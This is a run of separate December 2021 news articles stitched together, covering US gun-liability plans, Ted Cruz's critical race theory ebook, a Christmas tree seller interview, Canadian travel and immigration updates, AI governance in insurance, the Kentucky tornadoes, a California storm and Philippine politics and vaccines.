new job in policing but maintained he still desires to be part of the "national conversation" on law enforcement reform in America. "Timing is everything, and I will not will not be running for sheriff of Los Angeles" Acevedo said. "I have a lot to give and will pursue avenues that allow me to continue to be part of the national conversation on criminal justice reform and other matters of public concern." California Gov. Gavin Newsom recently announced plans to model an assault weapons ban after Texas' controversial abortion ban. Now other state officials may soon be following suit. On Saturday, Newsom announced he is working on a bill with the California Legislature and attorney general to allow private citizens to sue individuals who manufacture, distribute or sell assault weapons or ghost guns, imitating the citizen enforcement aspect of the Lone Star State's Senate Bill 8. During an appearance on ABC talk show "The View" Tuesday, New York Attorney General Letitia James told hosts she is interested in pursuing the same legal strategy to target gun makers in her state. "When I heard about that, I said to my team, 'We need to follow his lead,'" James said. "And the reason why is because gun manufacturers and gun distributors in this country are immunized. No liability whatsoever. They're the only industry that is protected in this country." James' announcement comes on the ninth anniversary of the Sandy Hook Elementary School shooting in Newtown, Connecticut. She said her office is working with California state officials and are currently reviewing the law. "Given the carnage, and the fact that this is the ninth anniversary of Sandy Hook, I am sick and tired of prayers and individuals whose hearts go out to all of those who have lost lives," James continued. "We can do something about it. And what we need to do is hold these gun manufacturers and gun distributors liable." Over the summer, New York enacted a law that allows the products sold by gun manufacturers to be considered a public nuisance. Newsom shared his plan targeting illicit gun manufacturers in the aftermath of the Supreme Court's decision Friday to allow Texas' restrictive abortion law to remain in effect. The law, which prohibits the procedure after six weeks of pregnancy, relies on private citizens rather than state officials to sue anyone who "aids or abets" an abortion in the state and offers a reward of $10,000 for successful suits. "If states can now shield their laws from review by the federal courts that compare assault weapons to Swiss Army knives, then California will use that authority to protect people's lives, where Texas used it put women in harm's way," Newsom said in a statement Saturday. "If the most efficient way to keep these devastating weapons off our streets is to add the threat of private lawsuits, we should do just that." Justice Sonia Sotomayor warned against such copycat laws in her Supreme Court opinion Friday over the law. The court's action came more than a month after hearing arguments over Texas' new abortion law, which went into enforcement Sept. 1. "By blessing significant portions of the law's effort to evade review, the Court comes far short of meeting the moment," Sotomayor wrote. "The Court clears the way for States to reprise and perfect Texas' scheme in the future to target the exercise of any right recognized by this Court with which they disagree. This is no hypothetical. New permutations of S. B. 8 are coming." As Texas school districts challenge books for teaching so-called critical race theory, Sen. Ted Cruz has released a how-to guide for conservatives planning to run for school boards. The work outlines how to "fight" against the academic framework from being taught in K-12 education. The Republican senator recently released his free eBook "Critical Race Theory: A Lecture by Senator Ted Cruz" in collaboration with the Leadership Institute, a nonprofit that trains conservatives for political action. In the 10-page book, Cruz tries to explain what CRT is, where it came from and how to spot the concept in school curricula in order to "argue against [educators] effectively in your own community." Critical race theory is a graduate-level framework asserting the existence of embedded racism in American institutions, history and the nation's judicial system. Developed in the 1970s and 1980s by scholars, including Harvard Law School professor Derrick Bell, critical race theory is not taught in K-12 schools and is usually reserved for post-graduate programs or law schools. However, Cruz's book claims teachers unions are pushing the concept in schools and relates CRT to "Marxism," a social, political, and economic philosophy named after Karl Marx, saying CRT is to Marxism "what branches are to a tree trunk." The manual also condemns the novel "How to be an Anti-Racist" by Ibram Kendi as well as the Pulitzer Prize-winning "1619 Project," a series written for a special edition of the New York Times Magazine that aims to reframe U.S. history through the lens of slavery. According to Cruz, some words for conservatives to specifically look out for are "white privilege," "intersectionality," "systemic racism" and most importantly "equity." While he writes that students should learn about the history of slavery in the U.S., Cruz ends his book with "Together, I think we can defeat Critical Race Theory in our schools and make sure that students learn the true history of America the story of American greatness." GOP lawmakers, including Cruz, have frequently targeted CRT. On Sept. 17, Gov. Greg Abbott signed Senate Bill 3, replacing a previous "critical race theory" law passed in May. The more restrictive and broader law, which went into effect on Dec.2, targets how topics such as race and racism can be discussed in Texas schools. Cruz has previously espoused his opposition to the discussion of critical race theory. Over the summer in an appearance at the Faith and Freedom Coalition to Majority Conference, the junior senator condemned CRT, calling it "a lie" and "every bit as racist as a Klansmen in white sheets." "Critical race theory is fundamentally racist and irredeemably racist," Cruz said at the event. "Critical race theory seeks to turn us against each other." It was June and Daryll Smith was worrying about Christmas. In the Willamette Valley in his home state of Oregon, he wondered what he could do as a record-setting drought and heat wave brought Texas-like weather to the Beaver State, scorching many of the pine trees he planned to sell in San Antonio. Smith, owner of Holiday Hills Christmas Trees, typically ties ribbons on the trees he considers worthy of gracing his customers living rooms. After the heat wave, he had to walk up and down the rows of trees taking off the ribbons. We thought, If this doesnt stop, we arent going to have any trees to take this year, he said. It got really serious. There are lots of places that didnt get any trees, including some of the box stores. In the end, he lost from 2,000 to 2,500 trees from his own farm; some growers lost as many as 30,000, he said. It was a major setback, especially coming after the forest fires that laid waste to large numbers of trees in 2020. But thanks to connections hes made during his 33 years in the Christmas tree business, he was able to gather up a good number of high-quality trees to sell this year, though the reduced inventory forced him to only open 11 locations in San Antonio, he said, down from 15 in prior years. Smith and his wife Elaine have been selling Christmas trees in San Antonio since the early 1990s, after doing business for a few years in Corpus Christi. All of the trees are grown in Oregon primarily in the Willamette Valley in the northwest part of the state, about 50 miles from the Pacific coast before they are shipped to San Antonio in refrigerated semi-trailer trucks. The couple spends about seven months a year in Salem, Ore., and the other five months in San Antonio, setting up shop at the beginning of November so they can get through the citys permitting process in time to begin selling trees the Monday of Thanksgiving week. In a typical year they sell between 14,000 and 15,000 trees, Smith said. He recently sat for an interview in his lot beside Jims Restaurant at the crossing of Culebra Road and Loop 1604 to discuss rising freight prices, the low-margin nature of the business, competition from big-box stores, and the process of transporting trees from Oregon to San Antonio. The following has been edited for brevity and clarity. Q: Did the extreme weather drive your prices up? A: That hasnt so much. One of the big factors we are dealing with, like everybody else, is the freight costs. We paid $10,000 and $11,000 per load to get these trees from Oregon to Texas. Last year, our average cost was $6,200. Q: How do the trees make it here from Oregon? A: What we do is we start our harvest, depending on the weather, in November. Thats where we do the cutting, the baling and getting them ready to ship on refrigerated semis. Q: Does refrigerating them help prevent them from decaying? A: Well, it just keeps them cool. I wouldnt call it decaying so much as drying out. If need be we ice them in addition to that so weve got more moisture. Thats the primary reason for the ice, not to keep them cold youve got the refrigeration for that but you dont want them drying out. Q: Do you own land where trees are grown in Oregon? A: I own some. It takes 500 acres to support our business because we grow five different species and we have them from seedlings to 16, 17 feet tall. I dont own 500 acres. I buy from friends and other farmers to support this. We typically do all our purchasing from smaller growers. Its just a better way to do business and get a quality tree. The Christmas tree business is not much different than anything else: The bigger you get, the less personal touch it has. And we always try to bring the best product we can. Q: How did you get into the Christmas tree business? A: Living in Oregon, at the time I was in the automobile business. We did quite well right through October and then we sat and twiddled our thumbs until about March. I thought theres got to be something you can do. And here it is. Q: How did you get the idea of selling the trees in San Antonio? A: Just looking around for a market. Started in Hawaii I thought that would be nice but I could see it wasnt going to work out. Then we just kept coming south and east and got here to San Antonio and liked it. Here we are. We started in Corpus Christi and we had a net profit the first year of $130. I believe the date we started up here was 91 or so. Q: What do you like about San Antonio as a market? A: I like it because geographically its easy to ship to. Theres a great population, a good economic base. Dont have the hustle and bustle that you do in Dallas or Houston or if you want to go to California, take your pick, L.A. or anywhere around. We got to know some people and enjoy it here. Q: In the 33 years youve been in this business, how has it changed? A: The basics of how you take care of the trees as they grow, and what you do in shipping, and what you do here hasnt. The big thing is theres less competition now because its a hard business. Its fairly low margin, so youve got to like what you do or you wouldnt be doing it. And currently and its been this way for years Christmas tree vendors have to comply with all the city ordinances. Weve got to get all of our permitting. It used to be people come in with a load of trees, find a corner, pitch them and go. Thats all over. None of thats allowed anymore. Its for the good of the public. Q: Why is it a low-margin business? A: The cost of operating a temporary business is pretty darn high because you start over every year. And every product you buy, it has its breaking point where people just arent going to buy it if its too expensive. So we have to stay under that threshold and take a good hard look at all of our expenses and operate that way. Q: How do you cope with competition from chain stores such as Home Depot and H-E-B? A: In the industry, we classify those as box stores. They dont deal with the quality of tree that we do: They pay less, they get less, and you get less. We are always No. 1s in premiums we pay the most, we spend all this money on care. If you go to any of the box stores you wont find trees under a tent, in water, misted twice a day. And we have all the products to take care of it when its in your home. So we go to a lot of lengths that those people dont really care to do. Oftentimes they use their trees as loss-leaders. They dont want to pay what we pay and they dont take care of them, so there you go. Now, not to say you cant get a good tree every once in awhile. But in general, the grade is lower. We hand-select every tree. I spend months tying a ribbon on the trees we want and those are harvested. The others we sell to the box stores. Q: What about competition from fake trees? A: Its about a 50/50 market now. It started out we had the market, they just had a little inkling of it, but they got better at it and better at it and better at it. Theres some pretty darn nice-looking artificial trees, but they dont have the fragrance, the aroma. They come pre-lit now, the lights dont work. And they sit in a landfill forever; ours, you know, are either composted, or over time theyll take care of themselves. It goes right back into the soil. If you go into any field, or any forest, youll see this needle bed, and thats natural. Thats really good for the ground, and for the tree. Its kind of a complete cycle. Q: What is the proper way to take care of a tree once you get it into your home? A: The proper way is to have a stand full of water and never let it run dry, because if it does its just like you or I if you get a cut it scabs over. With a tree, you cut the base and if its not in water constantly itll seal over and then it wont drink water, I dont care how much you pour in there. We have two products a dry preservative and a liquid. They both cause the fragrance to get better and prolong the keepability after its cut. Q: You mentioned that its such a tough business that you have to like it. What do you like about it? A: It just grows on you. People are happy. Youre particularly pleased when you have a family and the little kids are ready to go, and theyre smiling, jumping around like they do. Yesterday or the day before we had a class here I think they were second or third graders and they came and spent an afternoon. They really enjoyed it. Its a mixed bag. In the end, we make pretty decent money if you do the right volume and have good people like we have here taking care of the customer. We have third-generation people buying trees from us. Grandpa and grandma did, the kids did, and now the grandkids. We're always interested in hearing about news in our community. Let us know what's going on! Go to form The travel advisory warning Canadians not to travel abroad for non-essential reasons has been reinstated. Canadian government advising Canadians not to travel abroad for non-essential reasons The travel advisory warning Canadians not to travel abroad for non-essential reasons has been reinstated. Canadian government advising Canadians not to travel abroad for non-essential reasons The travel advisory warning Canadians not to travel abroad for non-essential reasons has been reinstated. Canadian government advising Canadians not to travel abroad for non-essential reasons The travel advisory warning Canadians not to travel abroad for non-essential reasons has been reinstated. Shelby Thevenot Alexandra Miekus Aa Accessibility Font Style Serif Sans Font Size A A The Canadian government is advising Canadians not to travel ahead of the holiday season. Health Minister Jean-Yves Duclos said the advisory against international travel is going back in place. At a press conference alongside other federal ministers, Duclos also said the government will continue to increase testing capacity at ports of entry. Prime Minister Justin Trudeau met with premiers last night to discuss public health measures, including travel measures. CBC reports no decision was reached. Discover if Youre Eligible for Canadian Immigration I just spoke with Premier @JJHorgan, as Chair of the Council of the Federation. Were going to convene a meeting as soon as possible with the premiers to address Omicron and make sure were working together to keep you safe as we head into the holidays. Weve got your back. Justin Trudeau (@JustinTrudeau) December 14, 2021 On Tuesday, after the Cabinet meeting, federal Health Minister Jean-Yves Duclos had already hinted that his government might reinstate a travel advisory like the one that was lifted on October 21, which urged travellers to avoid non-essential travel outside of Canada. We are concerned that Canadians will be stranded abroad because of the rapidly evolving measures that other countries may put in place, and also because of the significant risk of catching this variant, this virus, while traveling abroad, he reportedly said after the meeting. Canada previously put increased restrictions on 10 African countries, among the first measures to combat the spread of the new variant. The affected nations include: Botswana, Egypt, Eswatini, Lesotho, Malawi, Mozambique, Namibia, Nigeria, South Africa and Zimbabwe. Foreign nationals who have been to any of these countries within the past 14 days are not allowed to enter Canada. Also, all travellers from countries other than the U.S. will need to complete an on-arrival COVID-19 test. They will then have to quarantine at home until they receive their results. If their test comes back negative, they can be released from quarantine. If it comes back positive, they must isolate for 10 days. Canadian provinces have begun to tighten their measures in recent days. Ontario, announced on Tuesday a tightening of rules in long-term care homes. The same day, Quebec asked employers to reinstate remote work until further notice. In Canada, the number of cases of COVID-19 is currently averaging at more than 4,000 per day, compared to 3,000 in recent weeks. The latest count of Omicron in Canada is up to 256 as of December 15. So far, all reported cases of Omicron in Canada have been asymptomatic or mild. Discover if Youre Eligible for Canadian Immigration CIC News All Rights Reserved. Visit CanadaVisa.com to discover your Canadian immigration options. Who got invited, who got Canadian permanent residence, and how the pandemic affected Express Entry in 2020. IRCC releases Express Entry 2020 annual report Who got invited, who got Canadian permanent residence, and how the pandemic affected Express Entry in 2020. IRCC releases Express Entry 2020 annual report Who got invited, who got Canadian permanent residence, and how the pandemic affected Express Entry in 2020. IRCC releases Express Entry 2020 annual report Who got invited, who got Canadian permanent residence, and how the pandemic affected Express Entry in 2020. Shelby Thevenot Aa Accessibility Font Style Serif Sans Font Size A A The Express Entry Year-End Report 2020 was released on December 13, though in previous years it has been published in the summer. It shows us who got to immigrate to Canada through Express Entry, and how the pandemic affected Canadas main immigration application system. For starters, although Canada issued a record number of invitations to Express Entry candidates in 2020, the number of new permanent residents brought in through Express Entry dropped to a three-year low. Normally, there are more permanent residents admitted than there are invitations issued, since one application can contain the principal applicant and their family members. However, in 2020, the pandemic caused Express Entry admissions to plummet below the level of ITAs. In 2020, Immigration, Refugees and Citizenship Canada (IRCC) issued more than 107,000 Invitations to Apply (ITAs), compared to 2019 when IRCC issued 85,300. Out of the ITAs issued in 2020, only 63,923 Express Entry applicants and their family members got permanent residence, whereas there were 109,601 new permanent residents admitted in 2019. Get a Free Express Entry Assessment IRCC did not meet the processing standard of finalizing 80% of Express Entry applications within six months. The average processing time was nine months, which is one month slower than 2019. IRCC says about 51% of applications in 2020 were completed within the six-month standard. The following table is based on data that was up-to-date in January, 2021. Because of the pandemic, IRCC increased the validity period of an ITA from 60 to 90 days to allow applicants to have more time to prepare their applications. Previous IRCC data obtained by CIC News say that 36% of Express Entry applicants between March 18, 2020 and April 6, 2021 used the extra time, whereas 49% still applied in the two-month timeframe. Main source countries IRCC concentrated its invitations to apply at candidates who were eligible for the Canadian Experience Class (CEC) and Provincial Nominee Program (PNP), as they are more likely to be physically located in Canada and less likely to be impacted by public health measures. The proportion of Express Entry candidates invited to apply from inside Canada grew from 47% overall in 2019 to 63% overall in 2020. IRCC says this is due to the increased number of invitations issued to CEC candidates. Although the proportion of candidates invited from India dropped to 10% in 2020 compared to 18% in the previous year, there were still more candidates invited from India than any foreign country. The top six countries of residence for invitations remained the same as previous years: Canada, India, U.S., Nigeria, U.A.E., and Pakistan. Lebanon made the top 10 list for the first time since Express Entry was created in 2015. India was also the most common country of citizenship among those who received ITAs followed by China, Nigeria, Pakistan, and the U.K. Still more men in pool but women make up growing share As in previous years, more Express Entry profiles were submitted by men than women. However, the proportion of women in the Express Entry pool grew to 43% in 2020 compared to 41% in 2019. Although fewer women were in the pool, their profiles were more likely to be eligible for at least one program, compared to men, which was consistent with the two years prior. IRCC reports 77% of women and 71% of men who submitted profiles were eligible for at least one program. Among principal applicants who applied for permanent residence, a slightly higher proportion of men than women submitted applications in 2020. Both genders applied most often under the CEC and least often under the Federal Skilled Trades Program (FSTP). In each program, men were more likely than women to submit applications. The difference was more pronounced under the FSTP and least pronounced under the Federal Skilled Worker Program (FSWP). Tech talent leads the way Once again, occupations in information technology, and business and financial services continued to dominate among candidates invited to apply for permanent residence. Special to 2020 though, more food service supervisors and administrative assistants received ITAs. IRCC says this is likely the result of holding more CEC-specific rounds of invitations. The most common occupations among candidates who got arranged employment points were food service supervisors and computer programmers. This is also new to 2020, and likely a result of the CEC draws. CRS breakdown Although like previous years there were more candidates in the pool who had a Comprehensive Ranking System (CRS) score in the 351-400 range, an increasing number fell into the 451-500 range. The proportion of candidates with these higher scores increased to 27%, compared to 22% in 2019, and 18% in 2019. About 27% of candidates were in the 300-350 range. IRCC says 42% of invitations in 2020 went to candidates who had Canadian education, up from 28% in 2019. This is another result of the increase in CEC-only draws. Out of the 37 rounds of invitation last year, IRCC held 21 that were program-specific: 10 CEC draws, 10 PNP draws, and one FSTP draw. Minimum CRS scores ranged from 687 to 808 for PNP-specific rounds, and from 431 to 467 for CEC-specific rounds. The one FSTP draw had a cut-off score of 415. When looking only at all-program draws, the CRS cut-off score range in 2021 was slightly higher than 2019. Scores averaged to about 472 in 2020, compared to an average of 461 in 2019. This increase suggest that the Express Entry pool became more competitive in 2020 for FSWP candidates and FSTP, as a result of IRCCs efforts to target CEC and PNP candidates. In 2020, IRCC also increased the number of points available to French-speaking and bilingual candidates in the Express Entry pool. On October 20, 2020, the number of points awarded through Express Entry went up from 15 to 25 for French-speaking candidates, and from 30 to 50 for bilingual candidates. This change is intended to support Canadas goal of increasing French immigration outside of Quebec to 4.4% by 2023, and improves French-speakers chances of receiving an ITA. The proportion of candidates in the Express Entry pool who met criteria for additional points for being proficient in French went up to 5% in 2020 from 4% in 2019. Ontario main destination Nearly two-thirds of principal applicants who applied through Express Entry in 2020 named Ontario as their province of destination, slightly more than 2019. Also compared to 2019, the number of principal applicants who intended to move to Saskatchewan, British Columbia, and New Brunswick increased in 2020, while the number of applicants intending to reside in Alberta and Nova Scotia decreased. Much like the application stage, the majority of people who got permanent residence in 2020 were destined for Ontario. Get a Free Express Entry Assessment CIC News All Rights Reserved. Visit CanadaVisa.com to discover your Canadian immigration options. Sorry, no valid subscriptions were found for this Publication. Please select from an option below to start a subscription. SUBSCRIBE TODAY! 24 Hour Access Artificial intelligence, and more specifically machine learning, is being deployed in the insurance space in some very exciting ways from assessing underwriting risks to determining pricing to evaluating claims. But with these advances come sizable risks, some of which are already surfacing. Insurers need to take a proactive approach to mitigate risks so that they dont wind up experiencing the same financial and reputational difficulties that other industries have seen. Where is the harm? In 2019, Apple launched a branded credit card in partnership with Goldman Sachs. Before long, users noticed that women were generally being offered lower preapproved credit lines than men. Many immediately took to social media to decry what they saw as blatant sexism on Apples part. Even the companys co-founder Steve Wozniak joined in on the discussion, pressing the company to respond to the allegations. Unfortunately, neither Apple nor Goldman Sachs were able to explain how the machine learning models that determined who was offered a specific line of credit worked. Their systems were not auditable, so they couldnt explain the differences in preapproved credit levels except to say that gender was never explicitly part of their predictive model. Neither organization had a plan in place to respond to charges of proxy discrimination, so the result was a public relations disaster. The reputational damage to Apple and Goldman is evidence that companies deploying artificial intelligence need to get ahead of such risks by having governance structures in place in advance. Its fair to say that no insurer wants to be called out for discriminatory practices based on their models, nor do they want their pricing to be adversely affected if models fail to account for new information. There are a whole host of potential risks machine learning can expose a company to because of the technologys present limitations. Does that mean machine learning shouldnt be used? Not at all. Artificial intelligence and machine learning have the potential to be transformative for insurers. They just need mechanisms in place for governance and assurance to protect themselves over the short and long term. Fortunately, the nascent fields of artificial intelligence governance and machine learning assurance aim to address risks and ensure that the technology is deployed successfully, in a manner that maximizes the overall business value of these technologies. Preparation for artificial intelligence governance What does good governance of artificial intelligence and machine learning systems look like? For insurers, that means developing cross-functional awareness of the potential exposure created by these technologies, especially among those responsible for compliance, audit and internal controls. It means adopting an intentional approach to AI governance led from the top of the org chart. To get there though, its worth pausing to consider questions of organizational readiness with respect to artificial intelligence/machine learning. Does your company have the right people in place? Are executives aware of what it will take to make artificial intelligence/machine learning initiatives successful? Are your technology professionals well-versed in the needs that compliance will have as they develop their models? There are a range of questions that touch on the technical domain as well: Which specific business problems lend themselves to artificial intelligence/machine learning applications? Does the company have the necessary technical resources and infrastructure in place to implement and manage artificial intelligence/machine learning initiatives? Is the right data available to feed machine learning models, and is it of sufficient quality? You may not have all the answers right now, but you can certainly take concrete steps today toward many of these areas by empowering your cross-functional teams to take a proactive approach. Best practices for managing risk Insurers that are considering or building with artificial intelligence/machine learning are positioning themselves well to get their products to market faster than their competitors and grow their share of market. To ensure that you can develop and deploy with confidence, consider the following best practices. Proactively implement a machine learning assurance program . Companies must be prepared to show and explain their work, that is, to demonstrate how their artificial intelligence/machine learning models are designed, how the organization went about selecting data and ensuring its quality, and what steps they took to proactively eliminate potential sources of bias. They must demonstrate that they have well-considered controls in place to protect against internal and external threats, to audit systems for potential violations, and to take prompt corrective action when necessary. . Companies must be prepared to show and explain their work, that is, to demonstrate how their artificial intelligence/machine learning models are designed, how the organization went about selecting data and ensuring its quality, and what steps they took to proactively eliminate potential sources of bias. They must demonstrate that they have well-considered controls in place to protect against internal and external threats, to audit systems for potential violations, and to take prompt corrective action when necessary. Add oversight of artificial intelligence/machine learning into your existing governance structure. Insurers already have long experience with governance as a key to risk mitigation and unlocking value. They can take advantage of the existing institutional knowledge and processes to develop accountability and alignment across their organizations for ownership, management and problem mitigation. This starts with building a baseline competency in artificial intelligence/machine learning throughout the company, with strong cross-functional communication and collaboration at the center. Compliance officers, data scientists and line-of-business owners must work together to ensure that artificial intelligence/machine learning is implemented and managed with an eye to traditional risk areas like compliance, operational, strategic, reputational and legal risk. Insurers already have long experience with governance as a key to risk mitigation and unlocking value. They can take advantage of the existing institutional knowledge and processes to develop accountability and alignment across their organizations for ownership, management and problem mitigation. This starts with building a baseline competency in artificial intelligence/machine learning throughout the company, with strong cross-functional communication and collaboration at the center. Compliance officers, data scientists and line-of-business owners must work together to ensure that artificial intelligence/machine learning is implemented and managed with an eye to traditional risk areas like compliance, operational, strategic, reputational and legal risk. Stay up to date on statutory, legal and regulatory developments related to artificial intelligence/machine learning, both within the insurance industry and horizontally. Foster relationships with regulators to ensure that your efforts to mitigate risk are clearly understood, and work proactively to ensure regulators leverage your investment in accountable, intentional approaches to assurance and governance of these advanced systems. These practices will help you get the most out of all that artificial intelligence and machine learning have to offer insurers, while still protecting your company from the limitations of these emerging technologies. MAYFIELD, Ky. (AP) Workers, volunteers and members of the National Guard fanned out in areas of Kentucky slammed by a series of tornadoes to begin the long process of recovery, including replacing thousands of damaged utility poles, delivering bottles of drinking water and continuing to search for the dead. The tornado outbreak Friday that killed at least 88 people in five states74 of them in Kentuckycut a path of devastation that stretched from Arkansas, where a nursing home was destroyed, to Illinois, where an Amazon distribution center was heavily damaged. In Kentucky, Gov. Andy Beshear said the death toll could grow as authorities continued to work around debris that slowed recovery efforts. Nearly 450 National Guard members have been mobilized in the state, and 95 of them are searching for those presumed dead. With this amount of damage and rubble, it may be a week or even more before we have a final count on the number of lost lives, the governor said. Kentucky authorities said the sheer level of destruction was hindering their ability to tally the damage. Still, efforts turned to repairing the power grid, sheltering those whose homes were destroyed and delivering supplies. Across the state, nearly 25,000 homes and businesses were without electricity on Tuesday, down slightly from the day before, according to poweroutage.us. More than 10,000 homes and businesses had no water as of Monday, and another 17,000 are under boil-water advisories, Kentucky Emergency Management Director Michael Dossett told reporters. A fund set up by the state collected $6 million in donations, according to the governor. Kentucky First Lady Britainy Beshear launched a Christmas toy drive for children affected by the storm. She is asking for unwrapped toys, books, and gift cards of $25 that will be distributed to families in need. State and local officials said it could take years for some of the hardest-hit areas to fully recover. This again is not going to be a week or a month operation, folks. This will go on for years to come. This is a massive event, Dossett said. Five twisters hit Kentucky in all, including one with an extraordinarily long path of about 200 miles (320 kilometers), authorities said. In addition to the deaths in Kentucky, the tornadoes also killed at least six people in Illinois, where the Amazon distribution center in Edwardsville was hit; four in Tennessee; two in Arkansas, where the nursing home was destroyed and the governor said workers shielded residents with their own bodies; and two in Missouri. The federal Occupational Safety and Health Administration announced Monday that it has opened an investigation into the collapse of the Amazon warehouse in Illinois. Mayfield, home to 10,000, suffered some of the worst damage. Debris from destroyed buildings and shredded trees covered the ground in the city. Twisted sheet metal, downed power lines and wrecked vehicles lined the streets. Windows were blown out and roofs torn off the buildings that were still standing. Not far from Mayfield, a church serving as a shelter in Wingo said it expected to host more than 100 people Monday night. Glynda Glover, 82, said she had no idea how long she would stay at the Wingo shelter: Her apartment is uninhabitable since the wind blew out the windows and covered her bed in glass and asphalt. Ill stay here until we get back to whatever normal is, she said, and I dont know what normal is anymore. On the outskirts of Dawson Springs, another town devastated by the storms, homes were reduced to rubble and trees toppled, littering the landscape for a span of at least a mile. Jack Whitfield Jr., the Hopkins County judge-executive, estimated that more than 60% of the town, including hundreds of homes, was beyond repair. A full recovering is going to take years, he said. Schreiner reported from Dawson Springs, Kentucky. Associated Press writer Rebecca Reynolds in Louisville, Kentucky, contributed to this report. About the photo: Hannah Binder gathers personal items from her car in Edwardsville, Ill., on Monday, Dec. 13, 2021, and it was hit by a tree and totaled during Fridays tornado at her familys home and business, Brockmeier Sod Farm. The tornado damaged buildings, vehicles and trees on the property. (David Carson/St. Louis Post-Dispatch via AP) Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. LOS ANGELES (AP)Rain drenched Southern California on Tuesday as a powerful storm slid down the state, snarling traffic as vehicles spun out and raising the threat of mudslides in areas scarred by wildfires. Nearly 7 inches (18 centimeters) of rain fell before dawn in one area of Santa Barbara County, northwest of Los Angeles, the National Weather Service said. Residents of communities near the Alisal Fire burn scar in Santa Barbara County were ordered Monday to evacuate over concerns that heavy rains might cause flooding and debris flows that could inundate hillside homes. A similar order was issued for people living in several communities near another burn scar in the San Bernardino Mountains east of Los Angeles. Snow continued falling in the mountains of Northern California after it started coming down last weekend. Avalanche warnings were in effect in the Mono and Inyo county areas of the eastern Sierra Nevada. Motorists spun out on whitened mountain passes and people outside wielded umbrellas that flopped in the face of fierce winds. Near Lake Tahoe, the Kirkwood Mountain Resort ski area was closed Monday, saying on social media that it was not safe to open with 17 inches (43 centimeters) of overnight snow and high winds. Its just so bad and so thick, said California Highway Patrol Officer Carlos Perez. Were telling people that if they dont need to be around this area, they probably shouldnt travel. The multiday storm, a powerful atmospheric river weather system that was sucking up moisture from the Pacific Ocean, was expected to dump more than 8 feet (2.4 meters) of snow on the highest peaks in California and Nevada. The storm brought much-needed moisture to the broader region thats been gripped by drought that scientists have said is caused by climate change. The latest U.S. drought monitor shows parts of Montana, Oregon, California, Nevada and Utah are classified as being in exceptional drought, which is the worst category. Most western U.S. reservoirs that deliver water to states, cities, tribes, farmers and utilities rely on melted snow in the springtime. The welcome rain didnt stop Oakland resident and artist Zhenne Wood from walking her neighbors dog, a short-legged corgi. I decided to stay home today and not go anywhere, which is nice, she said. And Im really happy for the rain. I think we needed it a lot. The storm prompted officials to shut down a 40-mile (64-kilometer) stretch of the iconic Highway 1 in Californias Big Sur area until Tuesday. The scenic coastal route south of the San Francisco Bay Area, frequently experiences damage during wet weather. A second storm predicted to hit California midweek shortly after the current storm moves on could deliver almost continuous snow in mountainous areas, said Edan Weishahn of the weather service in Reno, which monitors an area straddling the Nevada state line. Har reported from San Francisco. Associated Press writer Christopher Weber contributed from Los Angeles and Associated Press writer Terence Chea contributed from Oakland, California. About the photo: San Francisco resident Gokul Ramesh left, takes a video of breaking waves on The Embarcadero while walking with Neeraja Ravishankar in San Francisco on Sunday, Dec. 12, 2021. Meteorologists say the storms are just the beginning of an atmospheric river that will bring more intense rainfall and heavy snow in the Sierras. A significant storm ramped up Sunday with snow in Northern California forced drivers to wrap their tires in chains and light rain in the lower elevations. The storm promises to drop up to 8 feet of snow on the highest peaks and drench other parts of the state. (Bronte Wittpenn/San Francisco Chronicle via AP) Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Metro Manila (CNN Philippines, December 14) - The country's COVID-19 vaccine supply gets a huge boost after over 8.2 million shots arrived Tuesday. Majority of the new vaccine arrivals are Johnson & Johnson - donated by European countries through the World Health Organization-backed COVAX facility. A total of 2,956,800 J&J shots were donated by Netherlands. Sweden gave 1,512,000 doses while Austria donated 266,400 shots. Vaccine czar Carlito Galvez, Jr. said the newly arrived J&J COVID-19 vaccine doses will be allocated to geographically challenged areas. France also donated a total of 1,058,400 Moderna doses while Spain added 453,600 more shots of the same brand - all through COVAX. Meanwhile, China gave the country two million additional Sinovac doses. The deliveries are part of the over 24 million COVID-19 vaccine doses scheduled to be received by the Philippine government this week. Galvez added the latest and upcoming vaccine deliveries will be distributed in regions with low vaccine coverage, such as the Bicol Region, Region 12, and Bangsamoro Autonomous Region in Muslim Mindanao. Metro Manila (CNN Philippines, December 14) Some presidential aspirants respect President Rodrigo Duterte's decision to drop his 2022 senatorial bid. Duterte withdrew his candidacy just hours after his longtime aide - Senator Bong Go - officially canceled his candidacy for president. Senator Manny Pacquiao said the decision should be respected while Senator Panfilo Lacson wished both Duterte and Go well, saying they have chosen peace as their path. Manila Mayor Isko Moreno said he was surprised by Duterte's decision but he respects it and encouraged the public to do the same. He also hopes the President would support his candidacy. As for former senator Ferdinand "Bongbong" Marcos Jr., he said he is saddened with Duterte's move, and has assured that he will continue Dutertes legacy programs if elected president. On the other hand, labor leader Leodigario "Ka Leody" De Guzman cautioned the public against being fooled by this "telenovela." Go said the President will focus on the government's COVID-19 pandemic response during the remaining months of his term, and ensure a smooth transition to the next administration. Meanwhile, sociologist Nicole Curato said she believes Duterte's withdrawal would hardly make any difference in the senatorial race. "If we look at the frontrunners in the Senate, these are still old names. So even if President Duterte drops out of the race, even if he is not a contender anymore, it's not as if him dropping out will open up space for new voices. If anything, it will be the same Senate composition and to that extent, we can't really expect that much change," she told CNN Philippines. Metro Manila (CNN Philippines, December 15) The bicameral conference committee has agreed on a spending plan for next year, including a 47.8 billion budget for COVID-19 booster shots and nearly 50 billion for health workers' special risk allowance. Members of the bicam, led by Senate finance committee chairman Sonny Angara and House appropriations panel head Eric Yap, signed on Wednesday a reconciled version of the proposed 5.024 trillion national budget for 2022. In an interview with reporters after the bicam meeting, Angara said among the salient points is the allocation for booster shots, as the bulk of its budget, or 45 billion, is under unprogrammed appropriations while only the remaining 2.8 billion is programmed. Its slightly higher than the executives initial proposal to allot 45.3 billion for the vaccines - all under unprogrammed appropriations. Senate Minority Leader Franklin Drilon and other lawmakers have criticized the idea, saying unprogrammed funds will only be released when there are extra revenues, or through loans and aid. Yap again defended the move, saying it does not mean the vaccines are not a priority. Papaano po sa dami ng nagdo-donate sa atin, katulad ngayon yung US, nagdo-donate ng Pfizer, yung China, nagdo-donate ng Sinovac. Kung sumobra-sobra po yung vaccine natin, masasayang po ang budget natin doon, so nasa unprogrammed po ang iba dun, Yap explained. [Translation: We've been receiving a lot of donations, like now, the US donated Pfizer, China donated Sinovac. If we buy too many vaccines, the budget for them will be unused, so its better that the other funds are unprogrammed.] Just in case nakita natin yung needs na kailangan magdagdag pa at wala na gaano nagdo-donate, pwede tayo kagad magpa-program ng unprogrammed, he added. 